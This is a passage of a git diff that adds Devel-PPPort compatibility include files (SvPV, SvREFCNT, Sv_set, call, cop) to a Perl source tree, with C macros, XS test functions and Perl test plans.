+ STRLEN len;
+ CODE:
+ str = SvPV_const(sv, len);
+ RETVAL = len + (strEQ(str, "mhx") ? 40 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_mutable(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV_mutable(sv, len);
+ RETVAL = len + (strEQ(str, "mhx") ? 41 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_flags(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV_flags(sv, len, SV_GMAGIC);
+ RETVAL = len + (strEQ(str, "mhx") ? 42 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_flags_const(sv)
+ SV *sv
+ PREINIT:
+ const char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV_flags_const(sv, len, SV_GMAGIC);
+ RETVAL = len + (strEQ(str, "mhx") ? 43 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_flags_const_nolen(sv)
+ SV *sv
+ PREINIT:
+ const char *str;
+ CODE:
+ str = SvPV_flags_const_nolen(sv, SV_GMAGIC);
+ RETVAL = strEQ(str, "mhx") ? 47 : 0;
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_flags_mutable(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV_flags_mutable(sv, len, SV_GMAGIC);
+ RETVAL = len + (strEQ(str, "mhx") ? 45 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_force(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV_force(sv, len);
+ RETVAL = len + (strEQ(str, "mhx") ? 46 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_force_nolen(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ CODE:
+ str = SvPV_force_nolen(sv);
+ RETVAL = strEQ(str, "mhx") ? 50 : 0;
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_force_mutable(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV_force_mutable(sv, len);
+ RETVAL = len + (strEQ(str, "mhx") ? 48 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_force_nomg(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV_force_nomg(sv, len);
+ RETVAL = len + (strEQ(str, "mhx") ? 49 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_force_nomg_nolen(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ CODE:
+ str = SvPV_force_nomg_nolen(sv);
+ RETVAL = strEQ(str, "mhx") ? 53 : 0;
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_force_flags(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV_force_flags(sv, len, SV_GMAGIC);
+ RETVAL = len + (strEQ(str, "mhx") ? 51 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_force_flags_nolen(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ CODE:
+ str = SvPV_force_flags_nolen(sv, SV_GMAGIC);
+ RETVAL = strEQ(str, "mhx") ? 55 : 0;
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_force_flags_mutable(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV_force_flags_mutable(sv, len, SV_GMAGIC);
+ RETVAL = len + (strEQ(str, "mhx") ? 53 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_nolen_const(sv)
+ SV *sv
+ PREINIT:
+ const char *str;
+ CODE:
+ str = SvPV_nolen_const(sv);
+ RETVAL = strEQ(str, "mhx") ? 57 : 0;
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_nomg(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV_nomg(sv, len);
+ RETVAL = len + (strEQ(str, "mhx") ? 55 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_nomg_const(sv)
+ SV *sv
+ PREINIT:
+ const char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV_nomg_const(sv, len);
+ RETVAL = len + (strEQ(str, "mhx") ? 56 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_nomg_const_nolen(sv)
+ SV *sv
+ PREINIT:
+ const char *str;
+ CODE:
+ str = SvPV_nomg_const_nolen(sv);
+ RETVAL = strEQ(str, "mhx") ? 60 : 0;
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_nomg_nolen(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ CODE:
+ str = SvPV_nomg_nolen(sv);
+ RETVAL = strEQ(str, "mhx") ? 61 : 0;
+ OUTPUT:
+ RETVAL
+
+void
+SvPV_renew(sv, nlen, insv)
+ SV *sv
+ STRLEN nlen
+ SV *insv
+ PREINIT:
+ STRLEN slen;
+ const char *str;
+ PPCODE:
+ str = SvPV_const(insv, slen);
+ XPUSHs(sv);
+ mXPUSHi(SvLEN(sv));
+ SvPV_renew(sv, nlen);
+ Copy(str, SvPVX(sv), slen + 1, char);
+ SvCUR_set(sv, slen);
+ mXPUSHi(SvLEN(sv));
+
+
+=tests plan => 49
+
+my $mhx = "mhx";
+
+ok(&Devel::PPPort::SvPVbyte($mhx), 3);
+
+my $i = 42;
+
+ok(&Devel::PPPort::SvPV_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_const($mhx), $i++);
+ok(&Devel::PPPort::SvPV_mutable($mhx), $i++);
+ok(&Devel::PPPort::SvPV_flags($mhx), $i++);
+ok(&Devel::PPPort::SvPV_flags_const($mhx), $i++);
+
+ok(&Devel::PPPort::SvPV_flags_const_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_flags_mutable($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_mutable($mhx), $i++);
+
+ok(&Devel::PPPort::SvPV_force_nomg($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_nomg_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_flags($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_flags_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_flags_mutable($mhx), $i++);
+
+ok(&Devel::PPPort::SvPV_nolen_const($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg_const($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg_const_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg_nolen($mhx), $i++);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_const($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_mutable($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags_const($mhx), 2);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags_const_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags_mutable($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_mutable($mhx), 2);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_nomg($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_nomg_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_flags($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_flags_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_flags_mutable($mhx), 2);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_nolen_const($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg_const($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg_const_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg_nolen($mhx), 0);
+
+my $str = "";
+&Devel::PPPort::SvPV_force($str);
+my($s2, $before, $after) = &Devel::PPPort::SvPV_renew($str, 81, "x"x80);
+ok($str, "x"x80);
+ok($s2, "x"x80);
+ok($before < 81);
+ok($after, 81);
+
+$str = "x"x400;
+&Devel::PPPort::SvPV_force($str);
+($s2, $before, $after) = &Devel::PPPort::SvPV_renew($str, 41, "x"x40);
+ok($str, "x"x40);
+ok($s2, "x"x40);
+ok($before > 41);
+ok($after, 41);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/SvREFCNT b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/SvREFCNT
new file mode 100644
index 00000000000..422aa58ac86
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/SvREFCNT
@@ -0,0 +1,123 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+SvREFCNT_inc
+SvREFCNT_inc_simple
+SvREFCNT_inc_NN
+SvREFCNT_inc_void
+__UNDEFINED__
+
+=implementation
+
+#ifndef SvREFCNT_inc
+# ifdef PERL_USE_GCC_BRACE_GROUPS
+# define SvREFCNT_inc(sv) \
+ ({ \
+ SV * const _sv = (SV*)(sv); \
+ if (_sv) \
+ (SvREFCNT(_sv))++; \
+ _sv; \
+ })
+# else
+# define SvREFCNT_inc(sv) \
+ ((PL_Sv=(SV*)(sv)) ? (++(SvREFCNT(PL_Sv)),PL_Sv) : NULL)
+# endif
+#endif
+
+#ifndef SvREFCNT_inc_simple
+# ifdef PERL_USE_GCC_BRACE_GROUPS
+# define SvREFCNT_inc_simple(sv) \
+ ({ \
+ if (sv) \
+ (SvREFCNT(sv))++; \
+ (SV *)(sv); \
+ })
+# else
+# define SvREFCNT_inc_simple(sv) \
+ ((sv) ? (SvREFCNT(sv)++,(SV*)(sv)) : NULL)
+# endif
+#endif
+
+#ifndef SvREFCNT_inc_NN
+# ifdef PERL_USE_GCC_BRACE_GROUPS
+# define SvREFCNT_inc_NN(sv) \
+ ({ \
+ SV * const _sv = (SV*)(sv); \
+ SvREFCNT(_sv)++; \
+ _sv; \
+ })
+# else
+# define SvREFCNT_inc_NN(sv) \
+ (PL_Sv=(SV*)(sv),++(SvREFCNT(PL_Sv)),PL_Sv)
+# endif
+#endif
+
+#ifndef SvREFCNT_inc_void
+# ifdef PERL_USE_GCC_BRACE_GROUPS
+# define SvREFCNT_inc_void(sv) \
+ ({ \
+ SV * const _sv = (SV*)(sv); \
+ if (_sv) \
+ (void)(SvREFCNT(_sv)++); \
+ })
+# else
+# define SvREFCNT_inc_void(sv) \
+ (void)((PL_Sv=(SV*)(sv)) ? ++(SvREFCNT(PL_Sv)) : 0)
+# endif
+#endif
+
+__UNDEFINED__ SvREFCNT_inc_simple_void(sv) STMT_START { if (sv) SvREFCNT(sv)++; } STMT_END
+__UNDEFINED__ SvREFCNT_inc_simple_NN(sv) (++SvREFCNT(sv), (SV*)(sv))
+__UNDEFINED__ SvREFCNT_inc_void_NN(sv) (void)(++SvREFCNT((SV*)(sv)))
+__UNDEFINED__ SvREFCNT_inc_simple_void_NN(sv) (void)(++SvREFCNT((SV*)(sv)))
+
+=xsubs
+
+void
+SvREFCNT()
+ PREINIT:
+ SV *sv, *svr;
+ PPCODE:
+ sv = newSV(0);
+ mXPUSHi(SvREFCNT(sv) == 1);
+ svr = SvREFCNT_inc(sv);
+ mXPUSHi(sv == svr);
+ mXPUSHi(SvREFCNT(sv) == 2);
+ svr = SvREFCNT_inc_simple(sv);
+ mXPUSHi(sv == svr);
+ mXPUSHi(SvREFCNT(sv) == 3);
+ svr = SvREFCNT_inc_NN(sv);
+ mXPUSHi(sv == svr);
+ mXPUSHi(SvREFCNT(sv) == 4);
+ svr = SvREFCNT_inc_simple_NN(sv);
+ mXPUSHi(sv == svr);
+ mXPUSHi(SvREFCNT(sv) == 5);
+ SvREFCNT_inc_void(sv);
+ mXPUSHi(SvREFCNT(sv) == 6);
+ SvREFCNT_inc_simple_void(sv);
+ mXPUSHi(SvREFCNT(sv) == 7);
+ SvREFCNT_inc_void_NN(sv);
+ mXPUSHi(SvREFCNT(sv) == 8);
+ SvREFCNT_inc_simple_void_NN(sv);
+ mXPUSHi(SvREFCNT(sv) == 9);
+ while (SvREFCNT(sv) > 1)
+ SvREFCNT_dec(sv);
+ mXPUSHi(SvREFCNT(sv) == 1);
+ SvREFCNT_dec(sv);
+ XSRETURN(14);
+
+=tests plan => 14
+
+for (Devel::PPPort::SvREFCNT()) {
+ ok(defined $_ and $_);
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/Sv_set b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/Sv_set
new file mode 100644
index 00000000000..30452aee66f
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/Sv_set
@@ -0,0 +1,118 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+
+=implementation
+
+__UNDEFINED__ SvMAGIC_set(sv, val) \
+ STMT_START { assert(SvTYPE(sv) >= SVt_PVMG); \
+ (((XPVMG*) SvANY(sv))->xmg_magic = (val)); } STMT_END
+
+#if { VERSION < 5.9.3 }
+
+__UNDEFINED__ SvPVX_const(sv) ((const char*) (0 + SvPVX(sv)))
+__UNDEFINED__ SvPVX_mutable(sv) (0 + SvPVX(sv))
+
+__UNDEFINED__ SvRV_set(sv, val) \
+ STMT_START { assert(SvTYPE(sv) >= SVt_RV); \
+ (((XRV*) SvANY(sv))->xrv_rv = (val)); } STMT_END
+
+#else
+
+__UNDEFINED__ SvPVX_const(sv) ((const char*)((sv)->sv_u.svu_pv))
+__UNDEFINED__ SvPVX_mutable(sv) ((sv)->sv_u.svu_pv)
+
+__UNDEFINED__ SvRV_set(sv, val) \
+ STMT_START { assert(SvTYPE(sv) >= SVt_RV); \
+ ((sv)->sv_u.svu_rv = (val)); } STMT_END
+
+#endif
+
+__UNDEFINED__ SvSTASH_set(sv, val) \
+ STMT_START { assert(SvTYPE(sv) >= SVt_PVMG); \
+ (((XPVMG*) SvANY(sv))->xmg_stash = (val)); } STMT_END
+
+#if { VERSION < 5.004 }
+
+__UNDEFINED__ SvUV_set(sv, val) \
+ STMT_START { assert(SvTYPE(sv) == SVt_IV || SvTYPE(sv) >= SVt_PVIV); \
+ (((XPVIV*) SvANY(sv))->xiv_iv = (IV) (val)); } STMT_END
+
+#else
+
+__UNDEFINED__ SvUV_set(sv, val) \
+ STMT_START { assert(SvTYPE(sv) == SVt_IV || SvTYPE(sv) >= SVt_PVIV); \
+ (((XPVUV*) SvANY(sv))->xuv_uv = (val)); } STMT_END
+
+#endif
+
+=xsubs
+
+IV
+TestSvUV_set(sv, val)
+ SV *sv
+ UV val
+ CODE:
+ SvUV_set(sv, val);
+ RETVAL = SvUVX(sv) == val ? 42 : -1;
+ OUTPUT:
+ RETVAL
+
+IV
+TestSvPVX_const(sv)
+ SV *sv
+ CODE:
+ RETVAL = strEQ(SvPVX_const(sv), "mhx") ? 43 : -1;
+ OUTPUT:
+ RETVAL
+
+IV
+TestSvPVX_mutable(sv)
+ SV *sv
+ CODE:
+ RETVAL = strEQ(SvPVX_mutable(sv), "mhx") ? 44 : -1;
+ OUTPUT:
+ RETVAL
+
+void
+TestSvSTASH_set(sv, name)
+ SV *sv
+ char *name
+ CODE:
+ sv = SvRV(sv);
+ SvREFCNT_dec(SvSTASH(sv));
+ SvSTASH_set(sv, (HV*) SvREFCNT_inc(gv_stashpv(name, 0)));
+
+=tests plan => 5
+
+my $foo = 5;
+ok(&Devel::PPPort::TestSvUV_set($foo, 12345), 42);
+ok(&Devel::PPPort::TestSvPVX_const("mhx"), 43);
+ok(&Devel::PPPort::TestSvPVX_mutable("mhx"), 44);
+
+my $bar = [];
+
+bless $bar, 'foo';
+ok($bar->x(), 'foobar');
+
+Devel::PPPort::TestSvSTASH_set($bar, 'bar');
+ok($bar->x(), 'hacker');
+
+package foo;
+
+sub x { 'foobar' }
+
+package bar;
+
+sub x { 'hacker' }
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/call b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/call
new file mode 100644
index 00000000000..7c46cbb450a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/call
@@ -0,0 +1,364 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+eval_pv
+eval_sv
+call_sv
+call_pv
+call_argv
+call_method
+load_module
+vload_module
+G_METHOD
+
+=implementation
+
+/* Replace: 1 */
+__UNDEFINED__ call_sv perl_call_sv
+__UNDEFINED__ call_pv perl_call_pv
+__UNDEFINED__ call_argv perl_call_argv
+__UNDEFINED__ call_method perl_call_method
+
+__UNDEFINED__ eval_sv perl_eval_sv
+/* Replace: 0 */
+
+__UNDEFINED__ PERL_LOADMOD_DENY 0x1
+__UNDEFINED__ PERL_LOADMOD_NOIMPORT 0x2
+__UNDEFINED__ PERL_LOADMOD_IMPORT_OPS 0x4
+
+#ifndef G_METHOD
+# define G_METHOD 64
+# ifdef call_sv
+# undef call_sv
+# endif
+# if { VERSION < 5.6.0 }
+# define call_sv(sv, flags) ((flags) & G_METHOD ? perl_call_method((char *) SvPV_nolen_const(sv), \
+ (flags) & ~G_METHOD) : perl_call_sv(sv, flags))
+# else
+# define call_sv(sv, flags) ((flags) & G_METHOD ? Perl_call_method(aTHX_ (char *) SvPV_nolen_const(sv), \
+ (flags) & ~G_METHOD) : Perl_call_sv(aTHX_ sv, flags))
+# endif
+#endif
+
+/* Replace perl_eval_pv with eval_pv */
+
+#ifndef eval_pv
+#if { NEED eval_pv }
+
+SV*
+eval_pv(char *p, I32 croak_on_error)
+{
+ dSP;
+ SV* sv = newSVpv(p, 0);
+
+ PUSHMARK(sp);
+ eval_sv(sv, G_SCALAR);
+ SvREFCNT_dec(sv);
+
+ SPAGAIN;
+ sv = POPs;
+ PUTBACK;
+
+ if (croak_on_error && SvTRUEx(ERRSV))
+ croak_sv(ERRSV);
+
+ return sv;
+}
+
+#endif
+#endif
+
+#ifndef vload_module
+#if { NEED vload_module }
+
+void
+vload_module(U32 flags, SV *name, SV *ver, va_list *args)
+{
+ dTHR;
+ dVAR;
+ OP *veop, *imop;
+
+ OP * const modname = newSVOP(OP_CONST, 0, name);
+ /* 5.005 has a somewhat hacky force_normal that doesn't croak on
+ SvREADONLY() if PL_compling is true. Current perls take care in
+ ck_require() to correctly turn off SvREADONLY before calling
+ force_normal_flags(). This seems a better fix than fudging PL_compling
+ */
+ SvREADONLY_off(((SVOP*)modname)->op_sv);
+ modname->op_private |= OPpCONST_BARE;
+ if (ver) {
+ veop = newSVOP(OP_CONST, 0, ver);
+ }
+ else
+ veop = NULL;
+ if (flags & PERL_LOADMOD_NOIMPORT) {
+ imop = sawparens(newNULLLIST());
+ }
+ else if (flags & PERL_LOADMOD_IMPORT_OPS) {
+ imop = va_arg(*args, OP*);
+ }
+ else {
+ SV *sv;
+ imop = NULL;
+ sv = va_arg(*args, SV*);
+ while (sv) {
+ imop = append_elem(OP_LIST, imop, newSVOP(OP_CONST, 0, sv));
+ sv = va_arg(*args, SV*);
+ }
+ }
+ {
+ const line_t ocopline = PL_copline;
+ COP * const ocurcop = PL_curcop;
+ const int oexpect = PL_expect;
+
+#if { VERSION >= 5.004 }
+ utilize(!(flags & PERL_LOADMOD_DENY), start_subparse(FALSE, 0),
+ veop, modname, imop);
+#elif { VERSION > 5.003 }
+ utilize(!(flags & PERL_LOADMOD_DENY), start_subparse(),
+ veop, modname, imop);
+#else
+ utilize(!(flags & PERL_LOADMOD_DENY), start_subparse(),
+ modname, imop);
+#endif
+ PL_expect = oexpect;
+ PL_copline = ocopline;
+ PL_curcop = ocurcop;
+ }
+}
+
+#endif
+#endif
+
+#ifndef load_module
+#if { NEED load_module }
+
+void
+load_module(U32 flags, SV *name, SV *ver, ...)
+{
+ va_list args;
+ va_start(args, ver);
+ vload_module(flags, name, ver, &args);
+ va_end(args);
+}
+
+#endif
+#endif
+
+=xsinit
+
+#define NEED_eval_pv
+#define NEED_load_module
+#define NEED_vload_module
+
+=xsubs
+
+I32
+G_SCALAR()
+ CODE:
+ RETVAL = G_SCALAR;
+ OUTPUT:
+ RETVAL
+
+I32
+G_ARRAY()
+ CODE:
+ RETVAL = G_ARRAY;
+ OUTPUT:
+ RETVAL
+
+I32
+G_DISCARD()
+ CODE:
+ RETVAL = G_DISCARD;
+ OUTPUT:
+ RETVAL
+
+void
+eval_sv(sv, flags)
+ SV* sv
+ I32 flags
+ PREINIT:
+ I32 i;
+ PPCODE:
+ PUTBACK;
+ i = eval_sv(sv, flags);
+ SPAGAIN;
+ EXTEND(SP, 1);
+ mPUSHi(i);
+
+void
+eval_pv(p, croak_on_error)
+ char* p
+ I32 croak_on_error
+ PPCODE:
+ PUTBACK;
+ EXTEND(SP, 1);
+ PUSHs(eval_pv(p, croak_on_error));
+
+void
+call_sv(sv, flags, ...)
+ SV* sv
+ I32 flags
+ PREINIT:
+ I32 i;
+ PPCODE:
+ for (i=0; i<items-2; i++)
+ ST(i) = ST(i+2); /* pop first two args */
+ PUSHMARK(SP);
+ SP += items - 2;
+ PUTBACK;
+ i = call_sv(sv, flags);
+ SPAGAIN;
+ EXTEND(SP, 1);
+ mPUSHi(i);
+
+void
+call_pv(subname, flags, ...)
+ char* subname
+ I32 flags
+ PREINIT:
+ I32 i;
+ PPCODE:
+ for (i=0; i<items-2; i++)
+ ST(i) = ST(i+2); /* pop first two args */
+ PUSHMARK(SP);
+ SP += items - 2;
+ PUTBACK;
+ i = call_pv(subname, flags);
+ SPAGAIN;
+ EXTEND(SP, 1);
+ mPUSHi(i);
+
+void
+call_argv(subname, flags, ...)
+ char* subname
+ I32 flags
+ PREINIT:
+ I32 i;
+ char *args[8];
+ PPCODE:
+ if (items > 8) /* play safe */
+ XSRETURN_UNDEF;
+ for (i=2; i<items; i++)
+ args[i-2] = SvPV_nolen(ST(i));
+ args[items-2] = NULL;
+ PUTBACK;
+ i = call_argv(subname, flags, args);
+ SPAGAIN;
+ EXTEND(SP, 1);
+ mPUSHi(i);
+
+void
+call_method(methname, flags, ...)
+ char* methname
+ I32 flags
+ PREINIT:
+ I32 i;
+ PPCODE:
+ for (i=0; i<items-2; i++)
+ ST(i) = ST(i+2); /* pop first two args */
+ PUSHMARK(SP);
+ SP += items - 2;
+ PUTBACK;
+ i = call_method(methname, flags);
+ SPAGAIN;
+ EXTEND(SP, 1);
+ mPUSHi(i);
+
+void
+call_sv_G_METHOD(sv, flags, ...)
+ SV* sv
+ I32 flags
+ PREINIT:
+ I32 i;
+ PPCODE:
+ for (i=0; i<items-2; i++)
+ ST(i) = ST(i+2); /* pop first two args */
+ PUSHMARK(SP);
+ SP += items - 2;
+ PUTBACK;
+ i = call_sv(sv, flags | G_METHOD);
+ SPAGAIN;
+ EXTEND(SP, 1);
+ mPUSHi(i);
+
+void
+load_module(flags, name, version, ...)
+ U32 flags
+ SV *name
+ SV *version
+ CODE:
+ /* Both SV parameters are donated to the ops built inside
+ load_module, so we need to bump the refcounts. */
+ Perl_load_module(aTHX_ flags, SvREFCNT_inc_simple(name),
+ SvREFCNT_inc_simple(version), NULL);
+
+=tests plan => 52
+
+sub eq_array
+{
+ my($a, $b) = @_;
+ join(':', @$a) eq join(':', @$b);
+}
+
+sub f
+{
+ shift;
+ unshift @_, 'b';
+ pop @_;
+ @_, defined wantarray ? wantarray ? 'x' : 'y' : 'z';
+}
+
+my $obj = bless [], 'Foo';
+
+sub Foo::meth
+{
+ return 'bad_self' unless @_ && ref $_[0] && ref($_[0]) eq 'Foo';
+ shift;
+ shift;
+ unshift @_, 'b';
+ pop @_;
+ @_, defined wantarray ? wantarray ? 'x' : 'y' : 'z';
+}
+
+my $test;
+
+for $test (
+ # flags args expected description
+ [ &Devel::PPPort::G_SCALAR, [ ], [ qw(y 1) ], '0 args, G_SCALAR' ],
+ [ &Devel::PPPort::G_SCALAR, [ qw(a p q) ], [ qw(y 1) ], '3 args, G_SCALAR' ],
+ [ &Devel::PPPort::G_ARRAY, [ ], [ qw(x 1) ], '0 args, G_ARRAY' ],
+ [ &Devel::PPPort::G_ARRAY, [ qw(a p q) ], [ qw(b p x 3) ], '3 args, G_ARRAY' ],
+ [ &Devel::PPPort::G_DISCARD, [ ], [ qw(0) ], '0 args, G_DISCARD' ],
+ [ &Devel::PPPort::G_DISCARD, [ qw(a p q) ], [ qw(0) ], '3 args, G_DISCARD' ],
+)
+{
+ my ($flags, $args, $expected, $description) = @$test;
+ print "# --- $description ---\n";
+ ok(eq_array( [ &Devel::PPPort::call_sv(\&f, $flags, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_sv(*f, $flags, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_sv('f', $flags, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_pv('f', $flags, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_argv('f', $flags, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::eval_sv("f(qw(@$args))", $flags) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_method('meth', $flags, $obj, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_sv_G_METHOD('meth', $flags, $obj, @$args) ], $expected));
+};
+
+ok(&Devel::PPPort::eval_pv('f()', 0), 'y');
+ok(&Devel::PPPort::eval_pv('f(qw(a b c))', 0), 'y');
+
+ok(!defined $::{'less::'}, 1, "Hadn't loaded less yet");
+Devel::PPPort::load_module(0, "less", undef);
+ok(defined $::{'less::'}, 1, "Have now loaded less");
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/cop b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/cop
new file mode 100644
index 00000000000..355a2e1aad9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/cop
@@ -0,0 +1,231 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+caller_cx
+__UNDEFINED__
+
+=implementation
+
+#ifdef USE_ITHREADS
+
+__UNDEFINED__ CopFILE(c) ((c)->cop_file)
+__UNDEFINED__ CopFILEGV(c) (CopFILE(c) ? gv_fetchfile(CopFILE(c)) : Nullgv)
+__UNDEFINED__ CopFILE_set(c,pv) ((c)->cop_file = savepv(pv))
+__UNDEFINED__ CopFILESV(c) (CopFILE(c) ? GvSV(gv_fetchfile(CopFILE(c))) : Nullsv)
+__UNDEFINED__ CopFILEAV(c) (CopFILE(c) ? GvAV(gv_fetchfile(CopFILE(c))) : Nullav)
+__UNDEFINED__ CopSTASHPV(c) ((c)->cop_stashpv)
+__UNDEFINED__ CopSTASHPV_set(c,pv) ((c)->cop_stashpv = ((pv) ? savepv(pv) : Nullch))
+__UNDEFINED__ CopSTASH(c) (CopSTASHPV(c) ? gv_stashpv(CopSTASHPV(c),GV_ADD) : Nullhv)
+__UNDEFINED__ CopSTASH_set(c,hv) CopSTASHPV_set(c, (hv) ? HvNAME(hv) : Nullch)
+__UNDEFINED__ CopSTASH_eq(c,hv) ((hv) && (CopSTASHPV(c) == HvNAME(hv) \
+ || (CopSTASHPV(c) && HvNAME(hv) \
+ && strEQ(CopSTASHPV(c), HvNAME(hv)))))
+
+#else
+
+__UNDEFINED__ CopFILEGV(c) ((c)->cop_filegv)
+__UNDEFINED__ CopFILEGV_set(c,gv) ((c)->cop_filegv = (GV*)SvREFCNT_inc(gv))
+__UNDEFINED__ CopFILE_set(c,pv) CopFILEGV_set((c), gv_fetchfile(pv))
+__UNDEFINED__ CopFILESV(c) (CopFILEGV(c) ? GvSV(CopFILEGV(c)) : Nullsv)
+__UNDEFINED__ CopFILEAV(c) (CopFILEGV(c) ? GvAV(CopFILEGV(c)) : Nullav)
+__UNDEFINED__ CopFILE(c) (CopFILESV(c) ? SvPVX(CopFILESV(c)) : Nullch)
+__UNDEFINED__ CopSTASH(c) ((c)->cop_stash)
